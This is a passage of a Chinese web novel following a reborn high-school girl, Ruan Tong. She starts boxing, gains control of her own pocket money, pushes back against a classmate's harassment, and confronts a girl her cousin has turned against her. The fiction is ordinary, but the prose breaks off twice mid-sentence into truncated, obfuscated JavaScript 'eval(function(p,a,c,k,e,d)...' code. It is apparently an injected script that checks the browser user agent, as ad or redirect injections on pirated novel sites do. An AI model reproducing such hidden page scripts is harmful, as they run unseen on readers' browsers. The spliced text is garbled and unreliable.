赵嫣然望向阮瞳的视线里不禁掺杂上几分愧疚。可是,即便让她再选一次,她还是会做出相同的选择。她不想被俞可欣和郑嘉禾他们记恨上。 一旁的俞可欣气得脸一阵红一阵白,还想说些什么,阮瞳却已向前一步,那从容不迫的气势硬是逼得俞可欣后退一步,让出了通路。 余光瞥见物理老师已经提前到教室后,俞可欣只能咬紧唇瓣,眼睁睁看着阮瞳淡然离开。 11. 她的改变 周末的到来让阮瞳总算能放松片刻,不用再一味沉浸在学习中。然而,她的日程依然安排得相当充实。 事情的起因还要从周三说起。 按照学校规定,高二年级只有第一节晚自习是强制性的。所以,阮瞳上完第一节晚自习就回到了家,等她洗完澡,下楼倒水时,她意外地发现客厅的大灯亮着。 一般来说,这个时候,王阿姨已经回到房间休息了。然而,此时,阮瞳注意到她仍在厨房里忙碌。 客厅的沙发上,阮戚风不知道什么时候结束了应酬,正靠在沙发上,喝着王阿姨准备的醒酒茶。 望着阮戚风的背影,阮瞳脚步拐了个弯,缓步走到阮戚风身旁坐下,“爸,有件事想和您商量。” 闻声,阮戚风有些意外地看向主动坐到他身边的阮瞳。他放下平板,“什么事?是在学校遇到什么困难了吗?” 阮瞳摇摇头,她斟酌片刻,选择了更能让阮戚风接受的理由,“我最近总觉得一个人的时候没什么安全感,我想在周末的时候去学拳击。” 听清阮瞳的话,阮戚风的神色凝重起来,第一反应便是她在新班级上受了欺负,他拧起眉头,“是不是有人欺负你?” 在阮戚风的印象里,阮瞳的世界几乎被学习填满,她从未展现过对这类体能运动的兴趣。 “不是,”阮瞳摇了摇头,“没人欺负我。我只是觉得女孩子学点防身术很有必要。我查了很多资料,拳击不仅能强身健体,还能锻炼反应速度和爆发力。” 听着阮瞳慢条斯理的阐述,阮戚风紧皱的眉头缓缓放松,语气缓和了些,“瞳瞳,爸爸觉得你现在主要的任务是学习,”他话一顿,“而且,学拳击并不像你想象中那么轻松,很容易受伤。” 阮瞳早料到阮戚风不会轻易答应,他的顾虑也很合情合理,她便没着急反驳。 认真听完阮戚风的话后,阮瞳才开口:“我知道会很辛苦,也有受伤的可能。但是我觉得像之前那样,只学习、完全不运动是错误的做法。” “我想让自己变得更强壮一点,有保护自己的能力。” 阮戚风默不作声地望向阮瞳,试图从她脸上找出这突如其来的变化的缘由。然而,当他望进那双清澈的眼底时,他恍然发觉,那里面早已不是他所熟悉的情绪。 里面闪烁着他不曾见过的光芒。那光芒里有阮瞳自己的主张,有她这个年龄独有的烦恼,是她不会告诉长辈的烦恼。 在他忙于工作、无心顾及家庭时,阮瞳似乎早就在不知不觉中长大。 这让阮戚风怅然若失,又有些欣慰。 阮戚风轻叹了声,他没再深究阮瞳口中的那份不安究竟源于何处,“好,爸爸帮你安排。” “我让助理联系俱乐部和教练,先安排体验课,”阮戚风话一顿,“一定要注意安全,量力而行,知道吗?” 阮瞳的唇角轻轻扬起,她点了点头。 世界上,没有人可以永远保护她,依赖别人的保护,永远是下策。 她必须拥有自保的力量。 见阮戚风正低着头给助理发消息,阮瞳趁势说道:“爸,周日……我想去一趟书城。” 察觉到阮瞳语气里的迟疑,阮戚风忽然想起,他好像很久没关心过阮瞳的零花钱是否够用。他心头掠过一丝愧疚,语气柔和,“是零花钱不够了吗?爸爸转给你。” 阮瞳摇了摇头,轻声道:“妈说我还小,会乱花钱,平时的零花钱……都是她替我保管的。” 阮戚风发消息的手一顿,缓缓变暗的手机屏幕映出他晦暗不明的神色。 平日,他工作繁忙,不能及时陪伴和关心阮瞳。对于这一点,他始终心怀愧疚,只能想方设法在物质上给予补偿。他会让助理及时为阮瞳购置最新款的电子设备,每次出差时,也始终记得给阮瞳买礼物,并定时给阮瞳准备不设限的零花钱。 他以为,至少在物质层面,阮瞳是富足无忧的。 然而,阮瞳此刻的无心之言却打破了他长久以来的认识。 他相信妻子温晚不会亏待阮瞳,她为阮瞳购置的名牌衣物和护肤品都是证据,但将阮瞳的零花钱尽数转走这种做法……依旧让他心中涌起说不清的异样感。 这种做法背后所暗含的掌控欲更是让阮戚风不禁回想起他和温晚争吵最厉害的那段时间…… 阮戚风没再去回忆那段岁月,他知道,温晚保管的恐怕不止零花钱,还有阮瞳这些年的压岁钱。只是略一推算,他便知道这些钱的数目相当可观。 以他对温晚的了解,这笔数额不菲的“零花钱”未必还在银行账户里。 或许……阮瞳提出的看似叛逆、没有由头的学拳击的请求,正是她对经济受控、生活被人掌控的无声谴责。 他能理解这种愤懑和憋屈。 许久,阮戚风将手机轻放在茶几上,他的声音带着深深的愧疚,“以前是爸爸疏忽了。以后的零花钱,你自己保管,自己支配。有任何需要用钱的地方,直接告诉爸爸。” “爸,谢谢您。”阮瞳轻声回应,垂下眼帘掩去眼底的情绪。 她足够了解阮戚风。她知道用这种方式,会让阮戚风感到愧疚,而心怀愧疚的阮戚风会无条件地满足她所有的要求。 虽然这种做法有点不光彩,但她太需要这笔完全由她掌控的资金了。不仅是为了眼前的开销,更是为了未来的计划。 …… 于是,便有了周六下午,阮瞳出现在拳击俱乐部里的一幕。 助理为她预约的是市里口碑颇佳的拳击俱乐部。 阮瞳换上了透气吸汗的运动服,过肩的长发扎成高马尾,她低头望向软绵绵、毫无肌肉线条的手臂,深吸了一口气。 对她来说,学拳击并不是一件容易的事,但她不会轻易放弃。 体验课上。 拳击教练曹教练一眼就看出阮瞳是个毫无基础的新手。虽然诧异她这个年纪的高中生会来学拳击,但他具备极高的职业素养,便没有多问。 基础的热身运动和理论讲解后,曹教练直接从最基本的站姿教起。 然而,光是维持膝盖微屈,双手护住脸和下颌的动作,常年不运动的阮瞳就感觉大腿肌肉开始颤抖。她咬牙坚持着,将注意力放在教练的讲解上。 教练的示范和讲解都很简单流畅,但轮到阮瞳尝试时,她才发现看和做根本不是一回事。她始终抓不到要领,动作僵硬,重心不稳。 “停!”曹教练及时出言打断,“再看我示范一次!静下心来,去感受身体的协调,找到蹬地转胯的感觉。” 阮瞳深吸一口气,认真看着教练示范,在脑海里将他的动作拆解、回放,她不断调整着扭转的角度,将力顺着脊柱送上去。 …… 体验课结束时,阮瞳累得虚脱,喉咙发干,呼吸灼热,但她的眼眸熠熠生辉。 或许,距离真正拥有保护自己的力量,依旧遥远,但她还是靠着自己的意志切实迈出了这一步。 这让她心潮澎湃。 她不会再像前世那样唯唯诺诺,为了那可笑的亲情将自己置身于危险之下,她再也不会是那个任人摆布的傀儡。 - 阮瞳预想过学习拳击的艰难,但剧烈运动后的肌肉酸痛还是让她饱受折磨。 周日早晨,阮瞳一醒来就感觉到身体的酸痛,走下床时,两条腿都是软绵绵的。 等她吃完早饭,开始学习时,手臂和大腿内侧传来的阵阵酸痛更是打断了原本顺畅的解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在那之后,她一直观察着姜酌,偶尔和他对上视线,阮瞳只觉得那幽深的眼眸里满是她看不懂的情绪。 重生回来,已然一周,她却仍然不知道姜酌究竟是一个什么样的人,只知道他会在她遇到困难时,毫不犹豫地出手相助…… 这难道就够了吗? 阮瞳觉得不够。她应该去了解他,了解这个救了她的人究竟活在怎样的人生里。 借着树木的遮蔽,阮瞳看着姜酌面无表情地重复着装卸,汗珠沿着他的下颌线滑落,他也只是随意地捞起衣服擦拭。 看着这样的姜酌,阮瞳突然明白,在学校时,他为什么总是趴在桌上补觉。为什么除了裴子逸和蒋劲,他总是独来独往,惜字如金…… 原来他的时间和精力,早已被生活瓜分殆尽。他的沉默和冷硬不是天生的,只是生活所迫,也只有在裴子逸和蒋劲面前,他才会流露出这个年纪的少年的鲜活和肆意。 她一直以为,重生归来的她孤身背负着沉重的记忆和仇恨,是孤独的。可现在,她忽然觉得或许在某种意义上,她和姜酌是同类,他们都在用各自的方式,扛着一段并不轻松的人生。 阮瞳没有贸然上前打招呼,她此刻的出现,只会打扰到他,甚至可能让他难堪。她不该用任何这种方式,去慢待他用汗水捍卫的尊严。 她只是静静地站在树荫下,将这个与平日截然不同的姜酌深深刻进脑海。 然而,直到她买完书回家,那个在烈日下沉默搬运货物的身影还在她脑中盘旋不去。 阮瞳不得不承认,尽管现在的她和姜酌交集寥寥,但姜酌在她心里的分量终究是旁人无可媲美的。 12. 骚扰升级 周一早晨,阮瞳伴随着晨曦走进教室,她的目光不可避免地落在教室后排的座位上。 姜酌已经到了教室。 他整个人沐浴在晨光中,许是因为这刺眼的阳光,难得没趴在桌上补觉,单臂搭在一旁的椅背上,另一只手拿着手机,兴致缺缺地滑动着屏幕,周身散发着生人勿近的低气压。 明明是和以往别无两样的场景,然而,阮瞳再也无法像以前一样,用平常心看待他了。 …… 随着上课铃的响起,新的一周正式开始。 经过一个周末,上周饮水机旁发生的冲突早在有心人的精心润色下,在七班不断发酵、变形。 在阮瞳不知道的各种小群里,她已然成为自命清高、目中无人的恶人,仗着所谓的“学霸”身份,不仅强行夺走了原本应属于阮茵茵的课代表位置,还在大课间公然羞辱她的朋友俞可欣。 这故事自然传到了郑嘉禾耳里。 在知道他放在心上的女神受了委屈后,郑嘉禾毫不犹豫地推掉了朋友的邀约,将自己关在家中,埋头思索起教训阮瞳的办法。 他必须做点什么。 在避开姜酌等人的前提下,替阮茵茵出这口恶气。 …… 历史课上。 阮瞳正全神贯注地跟着老师的思路,在课本上记着笔记。 突然,她的椅子被人从后面重重地踢了一脚,黑色水笔的笔尖在字迹整齐的笔记上划出一道突兀刺眼的痕迹。 阮瞳微蹙起眉头,她将椅子往前移了些,直接无视了郑嘉禾的干扰。在课堂上搭理这种人反而会浪费她的时间,得不偿失。 郑嘉禾见她毫无反应,面上露出得逞的笑。果然和他想的一样,阮瞳先前的伶牙俐齿不过是虚张声势,像她这种好学生根本不敢在课堂上公然反抗,只能敢怒不敢言。 趁着历史老师转身书写板书的间隙,郑嘉禾拿起水笔,身体前倾,越过课桌的界限,用笔尖勾起阮瞳垂在肩后的一缕发梢,一下又一下地拉扯着发丝。 郑嘉禾压低声音,用只有前后排勉强能听到的气音,语气狎昵地对同桌说:“看,还挺软……” 他的同桌发出几声心照不宣的窃笑,粘腻的目光始终如影随形地粘在阮瞳身上。 离阮瞳最近的元曦曦自然听到了这动静,她怒目圆睁地望向郑嘉禾,眼底掩不住厌恶和愤懑。 然而,她所能做的也只有这么多,毕竟历史老师还在讲台上讲课。 拉扯间,一根发丝被夹在笔帽里,发丝被连根扯断的尖锐疼痛让阮瞳眉眼冷了下来,她放下手里的笔,面上一贯的温和荡然无存。 她知道,如果再不做出回应,怕是这节课都不能好好上了,还可能影响身旁的元曦曦。 于是,在历史老师放下粉笔的那瞬,阮瞳动了。 她微微侧头,勾出被笔缠绕着的头发,在郑嘉禾没反应过来时,抬手用力拍飞了他手中的笔。 没等郑嘉禾动作,下一秒,阮瞳便直接靠上椅背,用尽全力向后狠狠撞去。 桌椅碰撞的巨大声响瞬间盖过了教室里的其他响动,班上其他同学都被这突如其来的动静吓得一哆嗦,本能地望向教室后方。 只见郑嘉禾连同他的课桌都被撞得向后倒退,他惊慌失措地想抓住桌子保持平衡,反而让桌面倾斜,摞在课桌上的课本和试卷如天女散花般撒了一地。 郑嘉禾差点连人带椅翻倒在地,他好不容易稳住了身体,但已然颜面尽失。 整个教室鸦雀无声,只剩下郑嘉禾惊魂不定的喘气声。 历史老师被惊得手里的书都差点掉在地上,他面色铁青地转过身,望向声音传来的地方,“怎么回事?谁弄出来的动静!” 在郑嘉禾开口之前,阮瞳倏地转过身,脸上带着被吓到后的苍白和茫然,注意到全班的目光都落在教室这隅后,她向下抿唇,声音微颤,“老师,对不起……刚刚我的椅子不知道被什么撞了一下,我吓了一跳,一下子没稳住……可能反应过度了。” 阮瞳没提郑嘉禾用笔扯她头发的事,她没有证据,说出来反而可能会被郑嘉禾倒打一耙。 然而,正常人应该都能猜到是谁在课堂上撞了她的椅子。 她的反应不过是受了惊吓后的条件反射,应该无可厚非吧? 郑嘉禾气得浑身发抖,手指着阮瞳,嘴唇哆嗦着:“你!你胡说!明明是你……” “你什么你!”历史老师在高一的时候就担任过七班的历史老师,知道郑嘉禾的斑斑劣迹,这已经不是他第一次欺负同班的女生了。 历史老师没责怪阮瞳,他紧皱着眉头望向郑嘉禾,不留情面地厉声喝道:“你看你像什么样子!赶紧把东西捡起来,再搞小动作就出去站着!” 郑嘉禾被训得一句话都说不出来,在历史老师严厉的注视下,他只能屈辱地弯腰收拾满地狼藉,心里的怒火却不断翻涌着。 这奇耻大辱,他记下了,他绝不会就这么轻易地放过阮瞳! 在郑嘉禾收拾残局后,课堂勉强继续进行着,但没人能立刻集中精神。大家表面上认真听着课,余光却不停在阮瞳和郑嘉禾之间辗转。 他们或多或少都听说了阮瞳“羞辱”俞可欣一事,却没有人将郑嘉禾这一举动和俞可欣扯上关系。 毕竟在七班,人人都能看出郑嘉禾对阮茵茵的心思,大家都知道郑嘉禾这是在为阮茵茵出气。 这并不是郑嘉禾第一次用这种手段为难别人。 以前被为难的那些人不是和阮茵茵“不和”,就是七班阴沉木讷、不讨喜的边缘人物。 面对郑嘉禾的刁难,这些人要么是找到班主任,主动将座位调到了教室的最前排,要么是默默忍受,在分班考试时,果断离开了七班。 从来没有人敢像阮瞳这样。 元曦曦的心脏几乎跳到嗓子眼,趁老师不注意,她扯了扯阮瞳的衣角,“我的天……你吓死我了!不过郑嘉禾这个人睚眦必报……” 阮瞳扯了扯嘴角,眼底寒光一闪,“我不怕。”郑嘉禾要是就此停手,她反而瞧不起他。 教室后排。 在巨响响起时,趴在课桌上的姜酌便抬起了头,他第一时间望向声音传来的地方,确认阮瞳安然无恙后,他才勉强将心头那股戾气强行压回心底。 他想起裴子逸之前应对郑嘉禾挑衅时,那种四两拨千斤,不露痕迹却格外有效的方式。 他不能再像以前那样,仅凭一腔怒火和本能行动,这只会给阮瞳带来麻烦。 他必须换一种方式。 至于阮茵茵,她整张脸都快埋进立起的书本后面。 阮瞳的举动如一记响亮的耳光,不仅扇懵了郑嘉禾,也打得她措手不及。 明明在上周,面对郑嘉禾的骚扰时,阮瞳只敢动动嘴皮子回击。 阮茵茵一直以为她这个堂姐,一心只有学习,是万万不敢和郑嘉禾正面对上的。 然而,阮瞳此刻不顾课堂纪律和旁人在意的举动,已经彻底脱离了阮茵茵的掌控和预想。 阮茵茵下意识捏紧手里的课本,纸张被捏得发皱也没能吸引她半点注意。 阮茵茵察觉到周围的人对她若有若无的打量,只能面不改色地垂下眼眸,心里却开始埋怨郑嘉禾的表现太过明显。 …… 下课铃响起时,历史老师前脚刚离开教室,郑嘉禾就猛地踹在桌腿上,仿佛要将他心中所有的憋屈发泄在无辜的课桌上。 郑嘉禾无视旁人的视线,一把抓起书包,头也不回地冲出了教室。 他需要找个地方发泄这口要憋死他的恶气。 注意到后座的动静,阮瞳执笔的手微微一顿,她侧眸瞥了眼那歪七竖八的座椅,嘴角勾起嘲讽的弧度。 这就受不了了?阮茵茵找来的帮手,心理素质也不过如此。 - 显然,郑嘉禾是个能人,不但善于总结和反思,还对阮茵茵格外死心塌地。 一次的失败并没有打消他替阮茵茵出头的念头,他意识到他先前选择的时机不恰当。 于是,他转而选择了大课间。 这个时间,不会有老师到教室,姜酌他们也去操场打球了,是绝佳的时机。 大课间,在阮瞳认真写题的时候,郑嘉禾故技重施地踢她的椅子,干扰她的解题思路。 见阮瞳无动于衷,他干脆和他的跟班凑在一起,一边低笑,一边打量着阮瞳校服领口下雪白纤细的脖颈,以及随着呼吸不断起伏的轮廓。 在郑嘉禾心目中,阮茵茵善良单纯,他不敢用任何污浊的想法去亵渎她,但这并不代表他不敢将所有龌龊的想象投射到别人身上。 尤其是像阮瞳这种更好拿捏的好学生。 至于阮瞳先前的反击?早被郑嘉禾抛之脑后。 反正阮瞳是个手无缚鸡之力的女生,他真动起手来,她怎么可能反抗得了? 对于郑嘉禾等人下作的行为,阮瞳还没有所反应,元曦曦反而按耐不住怒火了。 在郑嘉禾又一次和其他男生凑在一起,对着阮瞳发出不怀好意的低笑时,忍无可忍的元曦曦猛地站起身,她指着郑嘉禾的鼻子骂道:“你恶不恶心?一天到晚脑子里就只有这些东西吗?你信不信我告诉梅老师?” 闻言,郑嘉禾非但不怕,反而冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我就不信梅老师不管这些事,我待会就去告诉梅老师!” 元曦曦还想说些什么,阮瞳却忽然伸手摸了摸她的头,她整个人一僵,连到了嘴边的话都被她抛之脑后。 平日里,元曦曦和阮瞳的关系虽然不错,但也止步于同桌关系。 元曦曦能看出阮瞳是个很有边界感的人,她和阮瞳说话,阮瞳会认真倾听,但也仅限于此。阮瞳很少分享自己的事情,更不用提做出这样主动的接触了。 阮瞳眸光似一谭温柔的春水,她的声音很轻,却抚平了元曦曦心头的烦躁,“没用的,曦曦。他们完全可以抵赖,说你造谣。” 这种程度的骚扰,即便告到老师那里,郑嘉禾他们最多只会得到几句不痛不痒的批评。 元曦曦唇瓣动了动,“可是……总不能一直忍气吞声吧?他们肯定会变本加厉的。” 阮瞳勾了勾唇角,眼底的温和褪去,“忍?曦曦,你错了。只是不想打草惊蛇而已。” 她想要的,从来都不是无关痛痒的训斥。 她只是在等一个时机。 元曦曦望着阮瞳近在咫尺的脸,愣愣出神。她本以为,经过一周的相处,她已然熟悉阮瞳的脾性。 可当她看到阮瞳总是乖巧无害的脸上出现截然不同的凛然与沉着,她忽然觉得,她这个同桌,或许从来都不需要别人的保护。 无论是她,还是裴子逸他们。 见元曦曦还没回过神,阮瞳从口袋里摸出饭卡,“不过,还是要谢谢曦曦女侠替我说话。走吧,我请你吃雪糕。” 元曦曦怔愣,原本横亘在两人之间的距离仿佛在渐渐缩短,在这段友谊中,她并不是一厢情愿。 “女侠又是什么称谓啊……”元曦曦嘟囔了两句,还是没忍住挽住阮瞳的手臂,跟她一起往楼梯口走去,“我还要吃新出的薯片!” “好哦。” 没走几步,元曦曦叹了口气,“要是裴子逸和姜酌他们在就好了,我看郑嘉禾还敢不敢搞这些!” 阮瞳面上的笑意一顿,没想到元曦曦会在这种时候提起姜酌。 没等阮瞳细想,她就听到元曦曦义愤填膺的声音,“我之前不怎么了解裴子逸,还以为他就是个四处留情的眯眯眼,没想到他也看不惯郑嘉禾!他要是知道郑嘉禾这些勾当,肯定不会坐视不理的!” 阮瞳不由得心下一松,原来是在说裴子逸。 不过,就那天的情况来说,明面上确实是裴子逸出面阻止的。 或许,只有她和郑嘉禾注意到了姜酌的反应。 元曦曦的话猛地一顿,她突然想通了,“怪不得郑嘉禾老是挑大课间的时候找茬!他就是看准了裴子逸他们要去打球!啊啊啊,这个卑鄙无耻的小人!气死我了!”她气得在原地跺了两下脚,只恨方才在教室没能再多骂郑嘉禾几句。 阮瞳被元曦曦的一惊一乍逗笑,看着元曦曦咬牙切齿的模样,她眼底的笑意真实了几分。 虽然七班也有讨厌的人在,但阮瞳还是觉得来到七班并不是件坏事。 13. 贝芮刁难 因为郑嘉禾,元曦曦和阮瞳反而更亲近了些。 对于阮瞳的打算,元曦曦全然不知,但郑嘉禾等人再次骚扰阮瞳时,她没再强出头,而是选择了隐忍不发,静观其变。 然而,等晚自习结束,回到家的元曦曦顾不上母亲准备的夜宵,飞奔进房间便迫不及待地掏出手机给阮瞳发消息,在聊天框里肆意痛骂郑嘉禾,用一连串的表情包把他揍成大猪头才能勉强缓解她心头的愤怒。 而另一边,阮茵茵也很满意郑嘉禾这段时间的所作所为。 那天,看到阮瞳拉着元曦曦的手“狼狈”离开教室时,阮茵茵的心里别提有多畅快了。 至于阮瞳先前的反击? 阮茵茵没放在心上,毕竟兔子被逼急了还会咬人。只要郑嘉禾的手段再强硬些,阮瞳的反击不过是以卵击石。 因而,这几天,阮茵茵对郑嘉禾的态度愈发温和起来。有时候,他在无人注意的角落隐晦触碰她的手背时,阮茵茵也装没注意到,放任了他的接触。 只是,她并不满足于郑嘉禾这种“温和”的折磨方式。 …… 周五早上的大课间。 做完广播体操回教室的路上,阮茵茵难得没和俞可欣黏在一起,反而亲昵地挽着贝芮的手臂,走在她身边。 在确定阮瞳和元曦曦不在附近后,阮茵茵看似不经意地压低嗓音:“贝芮,你说一班那个阮瞳,她到底为什么来我们班呀?我这几天好像听郑嘉禾他们说……” 阮茵茵恰到好处地止住话,见成功引起贝芮的注意后,她继续道:“他们说,她好像是冲着姜酌来的。以前在一班就老是偷偷看他,现在还追到七班来了……” 自从知道贝芮是姜酌的发小,阮茵茵便坚持不懈在她面前刷好感,用了一个学期,才终于和贝芮成为了好友。 阮茵茵本想通过贝芮搭上姜酌,但没想到这俩人平日在学校基本不来往,白白浪费了她的时间和精力。 不过,阮茵茵是知道贝芮对姜酌的关心和维护的,她一向反感这种会打扰姜酌日常学习生活的女生。 果然,听到阮茵茵的话,贝芮英气的眉毛微微拧起,“你说的是真的?” “我也不知道呀,”阮茵茵眨了眨眼,仿佛方才的话只不过是她随意提起的,“听他们瞎传的。不过……郑嘉禾就坐在阮瞳后面,消息应该可靠吧?”见贝芮神色晦暗不明,她又补充道,“他还说阮瞳看姜酌的眼神,是有点怪怪的。” …… 周五上午,最后一节的体育课上。 即便是大部分资源都侧重师资的重点高中,也没有落□□育设施的投入。除了基础的露天跑道、篮球场、足球场、铅球和跳远跳高的场地外,室内体育馆的设施也相当齐全,近几年甚至新建了游泳池。 早在第一周,体育老师就简单粗暴地在班上体格高壮的男生里,选了看起来傻白甜、好使唤的蒋劲担任体育委员。 上课铃响起后,没等体育老师吹哨,蒋劲已经自觉带着七班学生绕着操场跑圈。 等跑完圈,体育老师拍了拍手,“体育委员带几个男生去器具室搬一下器材。” “好嘞!裴子逸,酌哥,陪哥们一起去拿一下呗!” “就知道使唤人,”裴子逸手肘杵了下蒋劲的腰侧,没好气地瞪了他一眼。 姜酌没应声,即便跑了一圈,他还是一副眉眼耷拉、没睡醒的样子,只是沉默地跟在两人后面。 阮瞳余光注意到姜酌的困倦,不免有些疑惑。他好像总是一副睡不够的样子,是晚上睡得太晚了吗? 原著里对姜酌的描述并不算多,甚至在后期,只有阮茵茵微醺时一笔带过的一句话。 不过,可以推测出姜酌后来的发展并不好。否则,以阮茵茵的德性,怎么可能放弃姜酌这样相貌、身材都出众的优质股呢? 阮瞳跟着体育老师喊的拍子,认真地做着伸展运动。 前一世,她不认识姜酌,自然不知道他高考考得怎么样、读了什么样的大学、后来又从事着什么样的工作。 001给了她重来一次的机会,让她改变人生。可是,她不仅想改变她自己的人生,还想改变其他人的。 比如阮戚风,又比如姜酌。 只是,她对姜酌的了解实在是太少了。 要将001给的机会用在姜酌身上吗? 阮瞳下意识反感这种做法,姜酌是活生生的一个人,他有自己的喜怒哀乐,她不想用这样的方式肆意地去窥探他的隐私。 除此以外,阮瞳也很在意文颖所作所为背后的动机…… 或许,不到关键时刻,她最好不要动用这个机会。 随着体育老师吹起口哨,阮瞳发散的思绪被重新拉回课堂,她这才发现体育老师身旁放着一个推车,里面装着满满一车的体育器材。 刚开学的体育课总是轻松的。 在体育老师宣布自由活动后,元曦曦就蹭到阮瞳的身边,她看着凑在推车前挑器材的人,“瞳瞳,我们干什么呀?” 如果是以往,阮瞳一定会选择什么器材都不拿,挑个干净的地方坐着,边晒太阳边看书。 不过,现在嘛…… 等围在推车周围的人走得差不多,阮瞳走到推车前,看了眼推车里被挑剩的器材,弯腰拿出一对球拍,“就这个吧。” 元曦曦接过球拍看了一眼,拍面明显比羽毛球拍要大,“这是网球拍?” 见阮瞳点头,元曦曦摸了摸鼻尖,语气羞赧:“可是我不会打网球……” “我可以教你呀,而且我们只是自己打着玩,不用太认真,随便打就好啦。” “好!那我们就拿这个!”元曦曦没再犹豫,俯身从推车里摸出两个干净的网球,“那我们去体育馆里打吗?” 阮瞳在大学选体育课时,选修过网球,所以多少知道基本的网球知识,她不打算一上来就让元曦曦和她对打。 为了更好地练习挥拍和击球,阮瞳选了靠近篮球场的一块空地,空地处有很高的一堵围墙,正适合用来练习击球。 “首先是握拍,”阮瞳一手托着拍面,另一只手握住球拍,“将虎口对准球拍的棱线,食指扣住拍柄。” 见元曦曦略显生涩地握住拍柄,阮瞳柔声安抚道,“往下握一点,食指和大拇指之间要留一点空隙。” “这样吗?” “对的,然后我们先练一下挥拍的动作……” 阮瞳耐心地纠正了元曦曦的挥拍姿势,又向她示范了如何发球。 然而,这份怡然没能维持太久,没过一会儿,阮瞳便听到一阵纷杂的脚步声从不远处传来,隐约透着风雨欲来的意味。 直到面前的光线被遮住,阮瞳才停下动作,抬眼望向来者。 刚开学一周,阮瞳还没记住班上所有的人,只能依稀认出是坐在走廊附近的女生,似乎和阮茵茵还有些交集。 元曦曦靠近阮瞳,小声说道:“是贝芮和她的跟班。” 跟班…… 骤然听到这种脱离她曾经熟悉的高中生活的词,阮瞳一时间没有回过神来。 不过转念一想,这种情况在普通班不算罕见,就连阮茵茵和郑嘉禾身边都有小团体。 阮瞳垂下手里的球拍,静静打量起为首的女生。她个子高挑,手臂和腿都很长,眉目间透着英气,放在后世,是妥妥的中性风美人,然而在重点高中,这样的长相和风格只会被认作是不好惹的问题学生。 此刻,她优越的骨相更是被戾气掩盖,让人只能注意到那令人不适的打量和神情。 贝芮双手插在校服兜里,耳侧的碎发被风吹起时,露出熠熠生辉的耳骨钉。她看都没看元曦曦一眼,目光直直落在阮瞳脸上,“喂,一班的。听说你是为姜酌来的?” 阮瞳原本还不明白贝芮的意图,听到这,心里瞬间明了,这恐怕又是阮茵茵的“杰作”。 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阮瞳不退反进,主动向前拉近她和贝芮间的距离,“你替姜酌出头,问过他本人吗?”她顿了顿,语气疑惑,“他是什么需要你24小时全天候看守的私有物品吗?” 贝芮被这角度刁钻的反问噎住,一时间竟不知如何反驳。 阮瞳没给她喘息的机会,目光扫过不远处坐在单杠上正假装看风景的阮茵茵,唇间溢出一声轻笑,“有的人……自己不敢露面,倒很会利用别人的义气。她和你说的关于我的事,有一句能拿出真凭实据吗?还是全靠她上下嘴皮一碰?” 李莉娜想插嘴,却被阮瞳一个冰冷的眼神扫过,她瞬间噤声,这个优等生的气场竟不比贝芮逊色半分。 阮瞳将目光重新移回贝芮脸上,“至于我为什么来七班,跟你无关,更与姜酌无关。我可以明确告诉你,我对姜酌没有任何你以为的恶意。现在,可以让开了吗?我们还要练习。” 贝芮脸上的怒气渐渐被错愕取代,她预想过阮瞳被质疑时的反应,惊慌、怯懦,亦或是恼羞成怒,但从没想过她会是这个反应。 阮瞳有着不属于这个年龄的优等生的冷静和条理清晰,这反而让她先前的兴师问罪显得可笑。 元曦曦攥着阮瞳的衣角,终于鼓足了勇气,只是她的声音还是有点抖:“笑死,那我还说有的人接近你就是为了姜酌呢,要知道你是姜酌的发小是什么很难的事情吗?” 真当她元曦曦的消息网是摆设吗?阮茵茵不就仗着贝芮在女生中的人缘不好,没人敢到贝芮面前拆穿她接近贝芮的目的吗? 那她还偏偏就要说出来,反正她早就看阮茵茵不顺眼了!一天到晚的就会知道躲在别人后面装无辜、煽风点火,好大一朵白莲花,呸! 闻言,贝芮锐利的眼神不由得一顿,她目光沉沉地望向元曦曦:“你说什么?” 阮瞳不动声色地将元曦曦护在身后,毫不畏惧地迎上贝芮的视线,“真把你当朋友的人不会让你冲在前面,自己却置身事外。” 说到底,高中时期的阮茵茵还是不够思虑周全,竟然亲自下场,到贝芮面前造谣她来七班的目的,这不是直接将把柄递到她面前了吗?她要是不抓着这个把柄,都对不起阮茵茵。 贝芮的脸色沉了下来,元曦曦和阮瞳的话让她回想起以前和阮茵茵相处的点滴。 自成为朋友后,阮茵茵似乎只有在需要她的时候才会主动贴上来,其余时候她永远是和俞可欣她们在一起。无论是平时的周末,还是假期,阮茵茵也从来不会和她联系。 至于阮茵茵和姜酌? 贝芮之前并没有见过阮茵茵接近姜酌。 是阮瞳他们在说谎?还是,阮茵茵特地避开了她? 贝芮眸色转冷,她面色不善地望向阮瞳。 是真是假,她自会去判断,至于现在…… 14. 后门相遇 就在气氛僵持住时,一个篮球砸在贝芮和李莉娜身侧的水泥地面上,运动神经发达的贝芮条件反射地接住了弹起的球。 看到那个篮球时,阮瞳微微一怔,她有所察觉般望向篮球场的方向。只见姜酌正往她们这边走来,他脸上没什么表情,但那双黢黑深邃的眼睛却直直看向贝芮。 姜酌没有说话,但熟悉他的贝芮再明白不过,那眼神里的意思是“适可而止”。 贝芮太了解姜酌了,这小子平时对什么都爱答不理,一旦露出这种表情,就代表他真的不耐烦了,再越界怕不是要踩到他的底线。 贝芮“啧”了声,冲姜酌翻了个白眼,这臭小子还真把她当恶人了? 贝芮顺手将篮球扔了回去,又冲姜酌挥了挥手,表示她知道了。 等姜酌转身离开后,贝芮重新看向阮瞳。她不曾将女生之间的勾心斗角放在心上,以往几次出面也不过是听信阮茵茵的话,担心姜酌原本就稀少的休息时间会被不知分寸、过分纠缠的女生占用。 现在有人戳穿阮茵茵接近她的动机,被人当傻子耍的羞恼冲淡了贝芮心中对阮瞳先入为主的不喜。 贝芮哼了一声:“你倒是挺敢说。” 阮瞳不意外贝芮态度的转变,淡淡道:“实话实说罢了。” 贝芮紧皱的眉头放松下来,那股剑拔弩张的敌意像潮水退潮般迅速消散,她盯着阮瞳看了几秒,突然嗤笑了声,里面掺杂着自嘲和发现新大陆的新奇感。 她这发小刚才的反应倒是耐人寻味,贝芮还从没见过他出面维护过任何一个女生。 